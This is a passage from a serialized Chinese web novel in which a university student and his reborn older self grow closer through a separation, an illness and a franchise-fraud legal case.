“闭嘴,别打扰陆哥,咱俩继续。” 电脑屏幕的光映在了陆离脸上,又映进了他眼睛里,他在电脑上点了几下。 【一个人为什么能重生】 这个帖子刚发没多大会,下面就出现了许多回帖。 【哈哈哈哈肯定是死了才会重生啊。】 【楼上的,你这不是说了句废话吗】 陆离看见死那个字,心脏又一瞬间停滞了一下,他知道死了才能重生。 所以昨天,他想开口问傅生,他发生了什么。 但最终没有问出口。 他知道傅生轻描淡写地说上几句,再随便地转移话题。 他的眸子垂了一下。 在网吧的时间比想象中过得要快,他中午没有回去,而是和李学波他们一起,凑合着吃了一碗泡面。 很快时间就到了晚上接近十一点。 李学波披着衣服睡了两小时,在电脑桌上醒过来,看了陆离一眼:“陆哥,你今天还没走啊。” 陆离嗯了一声。 李学波:“你也要在这里通宵?” 陆离潜意识其实是不想回去,因为他不知道怎么面对傅生,分不清对傅生的感情。 他之前从来没有想过,傅生竟然就是自己。 那些对他所有好的前提,都是因为他就是自己。 他那些从心底冒出来的杂念,还没有说出口,就落了个无疾而终的结局。 “陆哥?”李学波又在一旁喊了他一声,“想什么呢?今天你通宵吗?” “待会儿再说吧。”陆离说。 他刚说完,转眸看见之前他发的帖子有了一条新的回复。 他挪了一下鼠标,点了进去。 那个人没有像其他帖子一样,或者开玩笑,或者聊电视剧小说。他说: 【为什么不确定一下,你遇到的重生的人,是不是被你臆想出来的。】 陆离看到这句话,整个人都愣了一下,甚至大脑都出现片刻的空白,忘记了思考。 臆想出来的。 傅生是他臆想出来的。 他慌乱起身,碰到了桌子,可他顾不上疼痛,转身跑出了网吧。 李学波被他的动作吓了一跳,在身后喊道:“陆哥,你干什么去,又不通宵了?” 陆离却没有回答他。 原本十分钟的路,他只跑了三分钟。 现在已经接近凌晨十二点,北川人休息得早,周围的人家早就关上了灯,漆黑一片,但在这寂静的巷子里,却有一户留着昏黄的灯光。 陆离站在古董店门口,看着傅生身上的披着件衣服,正微垂着眸子坐在沙发上。 他向来睡得很早,就算不睡此时也该回了卧房,但今天这个时间了,却依旧没有睡,在等谁不言而喻。 他留了一盏灯,在等他回家。 陆离感觉好不容易被他压下的念头,似乎有比之前更加肆意趋势,理智在这一刻溃不成军。 傅生坐在沙发上等着,他熬不了太晚,眼睛此时有些干涩。 揉了一下眼,再抬眸的时候,听见门口有些动静,他看了过去,就见陆离站在门口。 他起身刚想说话,就被陆离一把抱进了怀里。 少年薄却有力的胳膊箍着他,似乎在确认什么。 傅生被突如其来的动作愣了一下,须臾,笑了一下低声问道:“怎么了这是?” 陆离垂着眸子:“你是真实的吗?” 傅生笑了一下:“这是什么傻问题?遇到什么事了?” “没事,”陆离低着声,显得声音有些闷,“就是想确认一下。” “确认什么?” 确认你不是我臆想出来的,确认你是真实存在的。 还有确认—— 陆离没再说话,听着自己疯狂的心跳声。 觉得自己疯了。 片刻,他深吸了一口气,抱着傅生,给了自己一个最后放纵的机会。 * 陆离那天的情绪,像是黑夜里的昙花一现,后来再也没有失态过,也再也没有去过网吧。 一直到成绩出来那天,陆离地看着自己的成绩,670分。 这分数足够上他喜欢专业任何一个学校。 “行啊小子,”蒋文在旁边说,“你比我高考多考了一半。” 陆离对于自己的分数早就有数,没露出多少的情绪。 傅生在旁边看了蒋文一眼:“别拿你当时的成绩出来了丢人现眼了。” 虽然他嘴上不说,但看上去还是高兴的。 后来,三个人坐在一起吃晚饭,蒋文随意地问了一句:“我记得你说过想考北川的政法大学是吗?” 陆离垂着眸子,好半晌才说:“我报的南宁。” 蒋文啊了一声:“怎么好端端地报到南宁去了?” 陆离说:“那个学校更适合我。” 傅生从刚才起就没有再说话,只是一言不发的拨弄着手上的戒指。 这种状态让蒋文回到了陆离提出来要住校的那天。 但是傅生不说话,他也不好多说什么。 “南宁离这边也不远,”蒋文试图缓解一下桌子上的氛围,“反正现在出行方便。” 陆离嗯了一声。 傅生垂着眸,筷子在碗上发出了清脆的声音:“吃饭吧。” 一顿饭吃得一点动静都没有,差点给蒋文吃出来心理阴影,他看看这个,看看那个,虽然两个人都是面无表情,却还是觉得气压很低。 蒋文快速地扒完饭,找了个借口快速溜了出去。 客厅里只剩下傅生和陆离,两个人谁也没有说话。 晚上十点,傅生准时上了楼,听见隔壁有了些许的动静,他抿了一下唇。 陆离看起来似乎和平时没什么变化。 可自从那天之后,傅生能看出来,他把自己收了起来。 他早就知道两个人现在既然是不同的个体,早晚都要分别的,但是对于陆离报了南宁这件事,他也说不上来自己是什么情绪。 可能是有点失落? 在一起生活了这么久,隔壁房间的人已经在不知不觉中成了他的习惯。 现在突然离开,总是有点不自在的。 他这样给自己说。 总是要分开的。 他有自己广阔的天地要闯,没必要守着一个已经烂掉的自己。 陆离的平时看着冷冰冰的,其实对于周边的人又过分的敏感,他能觉察到傅生微妙的不动声色。 就这样,两个人在整个暑假不约而同地提前适应着没有对方的生活,像是彼此心照不宣的约定。 很快,到了陆离开学的那一天。 他原本想要自己去的,但是蒋文非要跟着他去新学校看看,傅生在一旁没说话,是默认了。 陆离没再拒绝。 南宁作为一线城市,要比北川十八线的小地方大得多。 蒋文这次不知道怎么有些晕飞机,下了车就钻进了酒店,“不行了,不行了,你去送吧。” 他对着两个人摆了摆手,直接趴倒在酒店的大床上。 傅生看着他:“之前来的时候的出息呢?” 蒋文破罐子破摔道:“什么出息,没有出息。” 傅生看了他一眼,对着陆离道:“你蒋文叔去不来你学校了,咱们先走。” 陆离看了一眼趴床上的蒋文,嗯了一声。 南宁大学有很多指路的志愿者,两个人问了路一起去了陆离的宿舍。 宿舍里有一个学生特别自来熟,看见傅生和陆离进来就先来了段自我介绍:“啊,你也是607的?我叫孙文鑫,家是本地,嘿嘿咱们既然能分到一个宿舍,那以后请多关照。” 陆离本来就是不善言辞,冷淡地回了个嗯。 孙文鑫显然没见过这样式的,猝不及防地被冻了一下。 傅生笑了一下,将人从冰冻的状态拯救出来,他很是绅士地伸了一下手:“你好。他话少,别介意。” 孙文鑫以为是惹新舍友不高兴了,现在一听是脾气如此,随即恢复热情的状态:“不介意,不介意。你是几号床,我帮你搬东西?” 陆离说了句不用,把自己东西搬到了宿舍里,转眸看向傅生。 “收拾完了。” “嗯,”傅生看着眼前人,嘴唇动了动,却最终只道,“有事给我打电话。” 陆离垂着眸子嗯了一声。 他想送傅生到门口,但是他又怕看着熟悉的身影消失在自己的视野的时候,好不容易压制住的情绪会转土重来。 他动了动唇,闭了嘴。 “在宿舍待着吧,”傅生像是看透了他的心思,玩笑一般地说,“我还不至于迷路找不到门。” 陆离捏了一下手指,嗯了一声。 人刚一出门,那位社牛孙文鑫就凑着脑袋,对着走廊上背影,好奇地看向陆离:“这是谁啊?长得这么帅。” 此时宿舍里其他人还没来。 外面长着一棵很大的银杏树,叶子已经成了枯黄色,一直延到他们窗户前。 夏天快要过去了。 陆离扫了一眼窗外,听到自己冷着嗓音说:“我哥。” 【作者有话说】 马上啦马上啦,主要是傅生还没有意识到自己的感情,给他点时间让他转化一下。 不会很久,就这两章了。 第0043章 第 43 章 ◎舍不得◎ 傅生回到酒店之后, 先去隔壁房间看了一眼蒋文。 蒋文像是吞了二百斤面粉的脸终于缓过来不少,他抬头问:“将人送过去了?” 傅生嗯了一声,垂着眼睛, 看不出来情绪。 “这么舍不得, 当时怎么不讲, ”蒋文啧了一声, 实在是不知道这兄弟两个在别扭什么, “陆离虽然看起来冷,但你当时要是说一声,他肯定会把志愿改回去。” 傅生转着手指上的戒指,没说话。 “也不是我说你,”蒋文继续喋喋不休, “平时牙尖嘴利的,怎么一到陆离身上就收起来了?” 可能是被他絮絮叨叨的嘴给吵到了, 傅生不紧不慢地抬头, 觑了他一眼:“我看你恢复好了,现在买机票回北川应该还来得及。” 这话一出口,蒋文瞬间想起了刚才差点把脑子吐出来的眩晕感, 立即闭嘴收了神通。 “我今天再坐一遍飞机我能死, 下了飞机都不用回家, 你直接把我拉到火葬场去行了。” 傅生看他:“知道就好。” 说完,他转头回到了隔壁房间。 酒店的位置很好, 站在窗边的时候, 可以俯瞰整座城市的夜景。 上一世的时候,他也住过这个房间, 蒋文也同样在隔壁, 和上一世的不同是, 上次他和蒋文是来行骗的。 他们当时拿到了一家医院违规操作的证据,刚敲诈完当时医院管事的副院长。 他还记得那家的副院长姓卢,给自己起了一个卢正风的名字,私底下却利用自己职务的便利,诱/奸了将近上百名的女性,甚至还有十几个尚未成年。 底层人民他不想骗,也没有骗的必要。所以他就只能把目光聚集在这些社会的蛀虫身上。卢正风就是他来南宁之后,第一个注意到的人。 傅生倒也不觉得自己是什么天降正义,他自觉自己也不是什么好东西,骗人就是骗人,倒也没给自己找这么多冠冕堂皇的理由。 但看到医院门口,因为被卢正风□□而自杀女孩上了年纪的父母,抱着照片哭晕那一刻,他心里还是起了微妙的涟漪。 卢正风那个人,典型的欺软怕硬,只不过被随便一吓唬,就彻底认了怂。傅生现在还记得自己拿到钱之后,将一部分给了那对老夫妻,就住进了这家酒店。 而现在他再次住进这家酒店,是为了将另一个自己送进大学。 倒还真有点的时过境迁,物是人非的感觉。 傅生站在窗户边,玻璃上映出了他自己的影子。 陆离对他微妙的感情,他其实多少能感觉得到。 毕竟是曾经的自己。 但他选择刻意忽略,包容所有。 陆离也是他。 陆离比谁都清楚,对于现在的傅生,没有回应,本身就是回应。 改志愿这事,傅生其实没有丝毫的意外,毕竟是他亲手推动的。 陆离其实从来没有变,就像当时一言不吭的要去住校一样。 只不过这次,他没有阻拦。 飞机是第二天中午的,蒋文看起来休息得不错,看见他的第一眼,凑着打趣:“哎哟傅老板,你这面色,不会是晚上没睡吧?” 傅生:“你看起来好了?” “小小晕机而已,”蒋文说,“我是谁?蒋大师分分钟拿下。” “很好,”傅生不动声色地捅了刀子:“不过提醒你一句,我们马上又要坐两个小时的飞机回去。” 蒋文:“……” 刚才还一脸生龙活虎的蒋文瞬间泄了气,他眉心像是夹了苍蝇一样,看着傅生道:“打个商量行吗,你坐飞机,我坐火车回去。或者,我直接在这边照顾陆离算了。” “可以,”傅生不冷不热地看他一眼,“不过,在这边没有工资。” 蒋文:“……” 那干个屁。 他看着已经转身离开的傅生,转头追了上去:“不是,傅生你等等我。” 古董店里还是像往常一样,没感觉到时光流逝,其实三年已经过去了。 蒋文站在院子里,看着躺椅上的人,懒懒散散,似乎没多大变化。 说话还是一言不合就怼人,总是弯着眼睛笑着请人滚。 但陆离不在时,傅生总看起来缺少了点什么。 要是非要形容话,可能少了人气。 “看着我发生什么呆?”傅生头都没抬。 蒋文严重怀疑这黑心老板脑后也长眼睛了,不然怎么看出自己在看他。 “我就是在想,陆离这小子不在,还真有点想他。”蒋文说。 傅生手指顿了一下,接着冷淡道:“上班时间走神,扣两百。” 蒋文:“……” 这黑心鬼。 不只是蒋文,傅老爷子在家清闲,没有事情干,有时候也会来古董店转一圈。 他手里提着鸟笼,里面是他不知道在哪里又搜寻的画眉鸟。 他边逗鸟边唏嘘:“哎,我上次的鸟笼子坏了,还是陆离给我修好的,现在他一走,我的鸟笼子都没人修了。” “修鸟笼?”傅生眼皮动了一下,随后笑着说:“什么时候的事,我怎么不知道?” “你竟然不知道,”蒋文在旁边震惊,“陆离不止会修鸟笼,家里很多坏掉的东西都是他修好的,哦还有周围邻居家的,虽然陆离不爱说话,但在邻居嘴中风评可高了,这些你不知道吧。” 傅生看向他,颦了一下眉。 这些事,他都不知道。 他自以为了解的人,其实也在他看不到的地方,独自成长着。 “陆离是个好孩子啊,一个人在外面上大学,”老爷子说,“肯定孤苦伶仃,平时多打点电话。” 傅生垂着眼眸,片刻答一声。 陆离去往专业课的路上,孙文鑫正在和家里打电话。 “知道了妈,我都大三了又不是小孩子了,知道天冷要穿秋裤。还能冻死我吗?”他有些不耐烦地说,“知道了知道了,我上课呢挂了哈。” 已经是深冬了,这也是他们这学期最后一天的课。 孙文鑫接完他妈每天的查岗电话,如释重负地松了一口气,看着陆离羡慕地说:“真羡慕你们这些家里不催的,你爸妈真好。” 陆离眼皮都没抬:“我没有爸妈。” 一句话把向来外向的孙文鑫干沉默了,他抓了一下头发,有些尴尬地道:“啊,那个对不起啊。我不知道。” 陆离对这些也毫不在意,“没事。” 片刻,他又冷着声音补充了一句。 “我只要我哥就够了。” “你们兄弟俩关系真好,”孙文鑫露出羡慕的表情。 但是他有些不明白,明明陆离穿的用的都是顶好,家庭条件一看就不差。 但在其他学生都在宿舍里开黑玩游戏的时候,他却像是闲不下,有时候是去做兼职,有时候是去帮导师做什么项目。 反正就是一刻也不闲着。 他长得好,学习又好,经常被学校里女生拦下来要联系方式,他似乎也对谈恋爱这件事没什么兴趣。 只是敷衍地来一句:“我有喜欢的人了。” 久而久之,就很少有女生再来问了。 孙文鑫为什么认为他是敷衍呢,因为他认为陆离这种长相和性格,不可能有三年还追不上的人。 所以只能是借口。 他们今天这堂课上的犯罪学,老师讲完基础的课程喜欢在后面形象生动地举一些例子。 比如查尔斯.庞奇,肯尼斯.赖伊,尼克.里森都是国际上有名诈骗犯,当然这些诈骗犯下场无一例外,都在落网后,被判了监禁五年到二十年不等。 导师讲:“诈骗犯,无论是出于什么样的动机,总归都是犯罪,无论有多高明的骗术,最终都会被法律制裁,这也是法律存在的意义。” 陆离颦着眉,脑海自动浮现出傅生的脸。 傅生重生之前,又经历了什么。他想知道,却又像嘴笨的哑巴,无从开口。 “陆离?陆离。”孙文鑫在他桌子上敲了两下,“导师叫你呢。” 陆离回过神来才发现已经下课,他走到讲台边,看着导师关了ppt,冷着声开口:“您叫我?” “嗯,”他将电脑关上,看向自己的得意门生,开门见山地说,“我最近和朋友合作了一个律师事务所,也算是学校里的一个项目,放假这几天你估计要受累一下了,和我去一趟。” 陆离:“嗯。” 导师说:“你家不是南宁的吧,好像是北川的?那今年你还回去吗?回去的话时间可能会有点赶。” 陆离眼眸垂了一下:“不回去也没事,您到时直接喊我就好。” 导师在他肩膀上拍了两下:“好,我还想问问你,明年是要考研,还是去实习,实习的话,直接来老师事务所。位置给你留着。” 陆离没想过考研的事,那就想多挣点钱。 导师看了他半晌,想说什么又咽了下去,只说了句:“放假学校里宿主估计不开门,若是没住的地方,老师有个旧房子。” “我在外面有公寓。”陆离说。 他当时在外面兼职,每天回去的晚,有时候会错过学校查寝,所以干脆就搬了出去。 导师笑了一下:“行,这不都解决了。行了,也没其他事了,你回去吧。” 陆离租的公寓离学校不远,是个小复式,他晚上回去,洗完澡出来,毛巾挂在脖子上,就听到手机震动了一声。 上大学之后,李学波估计找到了其他话痨的地方,很少在群里说话,今天竟然罕见地冒了泡。 李学波:兄弟们都在吧? 陆离回了个标点符号。 李学波:哎哟陆哥,我可看到你了,你现在这么忙的吗,几乎看不见人。 这个人说话停不下毛病又犯了,陆离直接打断他。 陆离:什么事,说。 李学波嘿嘿笑了一声,发了一个语音电话过来。 李学波:今年过年回来吗?咱们两年没见面了吧,过年聚聚。 陆离:今年不回,学校有事。 李学波震惊了:“过年还有事?你们那个专业这么忙的吗?幸亏我当时没报。" 陆离嗯了一声,又听着李学波瞎扯了几句。 “陆哥在学校里就没有个小姑娘追你啥的?你那张脸摆着,最起码学校里得多半女生暗恋你吧。” 陆离走了几步,站在了窗户前。 在古董店的时候,他睡觉之前总喜欢站着这里,听着隔壁人的动静,现在这个毛病也没有改过来。 虽然住在隔壁的人已经变了。 “你很闲?”陆离冷着嗓音开口。 “我这不是为了你的终身大事操心吗?哈哈哈。” 李学波的笑声透过电话的传音筒传了过来,陆离刚想说没什么正事就挂了,手机在这时嗡了一声。 这个时间,很少有人给他打电话。 他皱眉低头,却发现是傅生的电话。 陆离手指动了一下,对着李学波道:“来电话了,挂了。” 李学波:“这么晚了,谁给你打电话?” 陆离睫毛垂下去,片刻才说:“暗恋对象。” “哦,暗恋对象啊,”李学波没反应过来,隔了几秒,才说了一句我靠,“等等,等等,你什么时候有的暗恋对象。” 陆离听着李学波咆哮的声音,挂了语音,手指愣了几秒才接了傅生的电话。 刚接通,就听到傅生闷声咳嗽了几声,声音也比平时哑上几分,他下意识地颦了眉:“你怎么了?” “没事,”傅生低着声音说,“可能是受了风寒,很快就好。” 他刚说完,蒋文的声音就隔着手机传了过来。 “你这都快十天了,也没见你很快就好,”然后,他就告状似的朝着陆离开口,“陆离,你不在家,你哥这个懒骨头医院都懒得去,你快说说他。” 陆离眉心颦的更深:“怎么不去医院。” “我没事,已经快好了,”傅生笑了一声,又转开话题,“今年放假回家?” 陆离刚想说不回去,就又听到电话那头傅生闷声咳了几声。 他把那句不回咽了下去,“嗯。” “现在就定下来了?”蒋文在旁边惊喜道:“以前不都是赶着过年前一天回来吗?” 陆离眼睛动了一下,之前因为某些不可说的原因,他总是赶着新年前的最后一班飞机回家。 又在年味还没有过去时候,匆匆地回学校。 但是今年—— 傅生闷闷咳嗽的声音又通过电话传了回来,陆离抿了一下唇:“明天回。” 蒋文震惊:“今年这么速度?” 傅生似是没有想到陆离回来这么快,静了片刻,只道:“好,明天我去机场接你。” “嗯。” 陆离挂了电话,在手机上翻到导师的联系方式,问他需要什么时候去。 导师:“最近有事?” 陆离:“嗯。家里有人生病。” 还不知道去医院。 “哦,那你快先回去一趟,”导师说,“等过几天再回来也行,不急,大概三天后吧。” “嗯。” …… 放假期间的机场,总是人多得吓人,像是一眼望不到头。 人站在中间,都怕被挤成面饼。 要是按照平时傅生那性子,绝对不可能迈进来一步,今天却罕见地改了性子。 蒋文知道是什么原因,但他还是讨揍一般,贱兮兮地问:“你平时不是最讨厌人多了吗?” 傅生不冷不热地看他一眼。 蒋文哈哈笑了几声,决定见好就收,省得得罪了老板工资又被扣。 两个人在机场等了大概十分钟,蒋文哎哎地喊了几声,指了过去:“是不是到了。” 没用他喊出声,傅生的眼睛早就落在不远处的人身上。 陆离站在人群中,高挑出色的样貌足够让人一眼看到。 此时他耷拉着眼皮,手里拿着行李,身上的少年感已经褪去,眼皮更薄,衬的那股锋利感也更浓,只有阳光偶尔掠过光影在他眼睛忽闪而过的时候,能瞥见几分少年影子。 明明距离上次回家才不久,傅生却感觉两人很长时间没见过了。 或许是因为陆离的刻意疏远,又或者因为两个人彼此心照不宣。 傅生垂了一下眼,结果刚抬头,刚才还在不远处的人已经几步走到了他面前。 陆离只是垂着眸子看了他一眼,就拉着他向前走。 傅生:“?” 刚才那点惆怅的氛围瞬间一干二净:“干什么去?” 陆离头也不回:“去医院。” 傅生愣了一下,接着有些哭笑不得地说:“你不会是专门拉我回来去医院,才回来这么早的吧?” 陆离被说中心思没说话。 结果傅生因为在风口,笑的时候不小心喝了一口风,又开始咳嗽起来。 陆离沉着脸,脸色不太好地看向他:“都这样了还不去医院,你是在家里修仙了?” 果然是长大了,胆子大了。 现在连他都敢怼。 傅生却拿着人没办法,只叹了一口气,解释说:“只是普通感冒。” 陆离冷声:“普通感冒十几天不好?” 傅生:“……” 两个人目光对视了几秒。 “真不用去医院。” “不行。” 看到傅生这个黑心的主在这里吃蔫,蒋文在旁边直接笑出了声。 傅生觑他一眼。 但是蒋文不怕,还在旁边添油加醋地说:“我听说有个人就是因为感冒一直没去医院,结果拖成肺炎了,天天咳咳咳那叫一个老惨了。” 果不其然,听了这话,陆离脸色更沉了,在门口随手拦了辆车就把人塞进去。 动作麻利,连给傅生拒绝的机会都没有。 蒋文拿着陆离为数不多的行李在车下给他们招手,表情掩不住地幸灾乐祸:“你们去吧,我在家等你们。” 这十几天他老妈子一样催了傅生十几次,结果这大少爷不是嫌人多,就是嫌医院里味道难闻。 现在不过几秒钟就老老实实地去医院。 果然还得是一物降一物。 上了出租车,傅生动了几次唇想要说自己真的没事,但是每次抬头都看到陆离那张冷脸又给憋了回去。 明明小时候冷着脸,还挺可爱。 现在一点都逗不动了。 傅生叹气,只能闭了嘴,然后老老实实地看着陆离,虽然冷着脸却不厌其烦地挂上号,排好队,直到医生说受了风寒,吃几副药就好,他沉着的脸才缓和了一点。 傅生笑着逗他说:“你看,我都说了几天就好。” 结果医生却是个不会看眼色的,在后面又格外热心肠的补了一句:“你这个风寒主要是因为不运动引起,平时多锻炼锻炼,不然一个普通感冒也不可能拖十天才好。” 傅生:“……” 他心说我真是谢谢你。 他的感冒确实已经快好了,至于为什么不去医院主要是之前习惯了,这种小病抗几天就过去了。 他也习惯了自己扛。 只是这次有些不一样,这次有人监督。一整天,他在院子里多躺一会儿,都会被陆离以风大为理由塞进房间。 傅生散漫惯了,最讨厌别人管教。 可偏偏拿眼前这个人没有丝毫办法。 晚上的时候,他又看着陆离端着水和药进了他的房间,耷着眼皮冷着脸,非得看着他吃下去才罢休。 傅生无奈,只能接过吃了下去。 不过这也不能怪陆离,谁让傅生有前科。 他不爱吃药,喜欢把药倒进院子里的花盆里,就算是被逮到了,也总是一副理直气壮的模样,美其名曰是给花施点肥。 陆离有时候怀疑,蒋文经常念叨莫名其妙枯了的花,就是这样死的。 傅生咽下药,接过陆离手中的水杯仰头喝了一口,状做不经意地开口:“这次回来待多久?” 陆离说:“三天。” 傅生一顿,须臾开口:“不过年了?” 陆离每年都会赶回来过年,因为大年初一那天,不仅是他的生日,还是傅生的生日。 原本他们永远不可能过同一个生日。 陆离手指动了一下:“学校里有事。” 傅生嗯了一声,抬头又喝了口水,眸光很轻的垂下去,看不出情绪,只是和浓稠的夜混在一起。 他不知道陆离是真的有事,还是只是借口。 可能因为他有些走神,喝水时候,一滴水顺着下巴滑到了脖颈处。 陆离在旁边看着,下意识伸手揩了一下,等他反应过来的时候,那滴水从傅生的喉间沾在了他手上,还带着他的温度。 陆离喉结很轻的滑了一下。 这动作其实是无意识的,但是两个人靠的近,显得氛围说不上来的异样。 两个人同时有点怔愣。 那滴水的温度很快在空气中消散,陆离垂眸扫过傅生的唇,片刻,他又强行压下眸中的情绪,冷着嗓音率先开口:“早点休息。” 说完就转身出了卧室,还帮忙带上了门。 房间安静,隔壁出现响动,像以前一样亮起了灯光。 就像人从来没有离开过。 傅生半倚在桌子前,微愣了会儿神,然后伸着手指在自己脖颈处摸了一下。 这次他没忽略自己刚才心头那点异样。 那是一种像心脏生长出蜘蛛纹路一般,细细麻麻的悸动。 以前的时候,傅生就算是天天被通缉,追求过他的人也不少。 那些明里暗里地追人把戏,故意营造的暧昧情绪。 他向来拒绝得格外干脆。 但是到了陆离这里,却全都变了。 他完全可以用拒绝别人的方式,一次性断了陆离的所有念想。 但是他没有。 他这么一个人,对自己都下得了狠手的人,就算遇到以前的自己,也不至于这么优柔寡断。 后来他才明白为什么。 因为舍不得。 舍不得在那双眼睛里看到一点失望落寞的情绪。 他不知道,人的心动往往始于心软。 第0044章 第 44 章 ◎吃醋◎ 在陆离的监督下, 一直被傅大老板拖了十几天的咳嗽,不过是两天就好得差不多了。 蒋文说:“还得是玩强制的才听话啊。” 这话听着,有些不太对味。 傅生品了一下, 最后觑了蒋文一眼:“你最近话很多啊?” “陆离回来我这不是开心吗?”蒋文笑了一声, 听着点动静抬头, 看向在二楼下来的陆离。 他看着陆离身上穿的衣服, 问道: “这是干什么去?” 陆离换上了一身运动休闲服:“跑步。” 傅生此时还没感觉到什么, 嗯了一声,还嘱咐人跑完回来吃早饭。 陆离却站在他面前,那双眸子一动不动的看着他。 傅生半晌反应过来什么,哂笑道:“你不会是想我和你一起跑吧。” 陆离冷声开口:“医生说你需要锻炼。” 跑步能要他半条命。 傅生向来连走路都是不疾不徐,哪里见他跑过。 他按了一下太阳穴, 有些头疼地说: “以我过来人经验,医生说的话有时候信一半就行。” 陆离看着他:“信哪半?” 傅生笑了一下:“比如, 冬天的时候, 需要多躺着休息。” 然而陆离现在已经不是一两句就能忽悠的了,他看着傅生淡淡道:“这鬼话是你自己加的?” 他只记得医生说了多锻炼,可没有提一个躺字。 “胆子肥了是吧, 怎么跟你哥说话, ”傅生手一顿, 落在陆离肩膀上拍了一下,“我现在感冒刚好, 不能受风。” 他刚开始的动作其实是想要像小时候那样在陆离脑袋上轻轻拍一下, 但是孩子大了。 傅生决定给人留点面子。 但显然对方不给他留面子,对着那双固执的眼睛, 傅生没多久就缴械投降, 只能无奈地叹了一口气。 跑步从外面回来, 他身上薄薄的出了一层汗。 傅生本来皮肤又白,又经常不出门,一出汗脸上似乎能看清楚皮肤底下的毛细血管。 他嘴唇微启,喘了几口气。 陆离目光从他鼻间的汗向下,又落在唇线上,他抿了一下唇,快速地移开。 蒋文不知道在门口等了多大会了,看着傅生他们走过来,他抓紧看热闹一样迎了出来。眼睛里全是:没想到吧,你也有这一天。 傅生只是轻飘飘地看他一眼,就不冷不热地说了句:“两百。” “不是,你这个人怎么这样,”蒋文对这个行为严重的抗议,“我说什么了,我一句话都没说。” 然而傅老板跑步刚回来,这会儿心情正不爽,头也不回地道:“再说一个字,400。” 蒋文只能把眼睛看向陆离,哭穷道:“你不管管你这个黑心哥哥?再扣我那点工资就给我扣没了。” 陆离正捏着瓶水喝,在哥哥两个字中怔愣了一下,又不动声色地将那点情绪咽下去,冷着声说:“管不了。” 蒋文:“……” 不过就算是这样,傅生被陆离拉着跑步的这三天,他依旧不记得教训天天在门口守着。 下场就是,三天加起来,蒋文被扣了八百块钱。 他的心简直是在滴血,但是转念又一想,可以看到傅生吃蔫的模样也值了。 不过,蒋文就是有点唏嘘陆离只能待三天,不然他还能多看几天傅生绿油油的脸。 陆离走的那天,他们把人又送进去机场。 蒋文看着颀长的背景逐渐没入人群里,叹了一口气:“这是第一年陆离不在家里过年吧,想想还挺冷清。” 傅生睫毛垂下去,嗯了一声。 蒋文安慰他说:“没事,最起码还有我,我今年在店里陪着你。” “不用,”傅生转身向回走。 蒋文追了上去,以为傅生是怕耽误他旅游,所以格外义气道:“不用为我着想了,我少一年出去旅游没什么的。” 傅生看他一眼,用一种你想多了眼神说:“今年店里就你自己。” 蒋文微愣:“什么意思?” 傅生说:“我有事出去一趟。” “大年底的你有什么事,”蒋文想了想,又话头一转说,“既然这样,那我也出门吧,我今年打算去香格里拉过年。” “恐怕不行,”黑心老板傅生头也不回,冷漠地说,“你留下来看店。” 蒋文:“???” 这是人办的事? 这是人办的事! * 陆离在北川回来之后,在学校里帮了一段时间的忙,后来跟着导师进了和学校联合的一个项目。 一个校企合作的事务所。 事务所在花间一条街,是一条老街,街上吃的不多,但像是这种事务所之类的却是一抓一大把。 导师领着他进去,对着穿着西装革履的合伙人介绍道:“这就是我给你之前提过的陆离。” 合伙人起身,笑着说:“你就是陆离啊,我之前听老师天天念叨你,却一直没有机会见面,现在总算是见到了。你好,我叫周颂。” 陆离冷淡伸出手,礼貌性握了一下。 “小周之前也是我的学生,”导师在一旁笑着说,“你们也算得上是同门师兄弟,叫他师兄就行。” 陆离除了在傅生面前偶尔会服点软,在其他人面前都冷淡得要命。 他冷着声,面无表情道:“师兄。” 导师也知道他的性格,对着周颂说:“脾气就这样,我带了他三年,给我说的话加起来,说夸张点都不如课本的简介多。” 周颂笑了一声,似乎并不在意:“那挺好,我还挺喜欢这种脾气。” 他干律师行业干的久了,还挺喜欢这种话少的人,比天天只知道虚情假意满嘴谎言的的好太多了。 几个人坐在事务所的沙发上,周颂看着陆离问,“喝饮料?还是咖啡?” 陆离指了指桌子上的水杯:“这个就行。” 周颂笑着给他倒了一杯,“我以为你们这个年龄的学生,都不喜欢喝白开水。” 他将水杯放好,重新回到沙发上。 “那现在说说这件案子?”导师端着杯子喝了一口,看着他说,“听你之前说,这次这件事涉及的人还挺多。” 周颂谈正事的时候脸上神情就严肃起来,带上几分对工作的认真:“这起案子的受害的牵扯人数还挺多,而且大部分都是县里的小夫妻,他们联合起来要告的是一家品牌玩具的连锁公司,说是公司骗了他们的加盟费。” 导师听完皱了一下眉:“加盟骗局?” 陆离对这词还挺熟悉,之前有个课题讲的就是连锁加盟的骗局,这种骗局里的公司大部分都没有厂家,都是用来欺骗加盟商的。 加盟费用几万元,交齐了之后就会发现拿到的全是劣质产品。 导师皱了一下眉,又问:“有没有南宁本地的受骗者,先见一面。” 周颂说:“这家公司很精明,目标人群就是县城或者周边小城市的普通老百姓,只要是南宁本地地去问,公司都会以南宁本地投入太大,房租太高拒绝加盟。” “看来是惯犯,”导师推了一下眼镜,“这样吧,那些受害的人看看能不能派个代表出来,先和公司里的人先见一面,看看能不能达成协议,不行的话再走起诉流程。” 这种起诉无论是时间还是金钱,对于县城的普通人来说,根本就耗不起。所以他们一般优先考虑看能不能赔偿和解。 周颂的手指在手机上敲了几下,打了个电话出去,对着导师道:“受害人说他们现在在城中村的小旅店住着呢。” “那行,你给他们约明天吧。眼下正值年关,早点解决也好让其他人早点回去过年。”导师说完,又看向陆离,“明天去的时候,你也跟你师兄进去,刚好学习学习。” 陆离嗯了一声。 第二天去之前,周颂给他提过一句,受害人都是底层劳动者,陆离之前在松里生活,看见的也都是底层。 他本来对这个词没有太大情绪,直到他跟着周颂进了所谓的城中村。 说是城中村,其实不过是泡沫板随便搭起来的房子,不要说下雨,大点的风都像能把房子刮坏。 有一对夫妻从里面走出来,其中一位还是残疾,据说男人年轻的时候是电工,后来出了意外,没了胳膊。 两口子活了大半辈子攒下一点钱,想着开个玩具店,结果把积蓄全都投了这家玩具店,最后发现被骗了,赔得血本无归。 陆离看着人,颦了下眉。 周颂对着夫妻两个人说:“那我们现在去那家公司吧,你们在这里等一下,我先去叫辆车。” 出租车很少向这边跑,这边的泥点太多,周颂加了钱他才拐进来。 两夫妻上车的时候,陆离看着男人的手不方便,下意识地扶了一下,周颂不经意扫了一眼,眼神里的欣赏更浓了。 在他的刻板印象中,像陆离这种长相好又学习好的人都是带点傲气,他们的傲气让他们看不见底层人的痛苦,对于这种不体面的人也是充满嫌弃。 但陆离没有,他的眼睛很黑,看人的时候有一种冷淡的怜悯。 直到此刻,周颂才算是完全认下这个师弟 周颂笑了一下,关系似乎一下子就拉近了不少,他对陆离道:“走,师兄带你去见识一下无良奸商。” 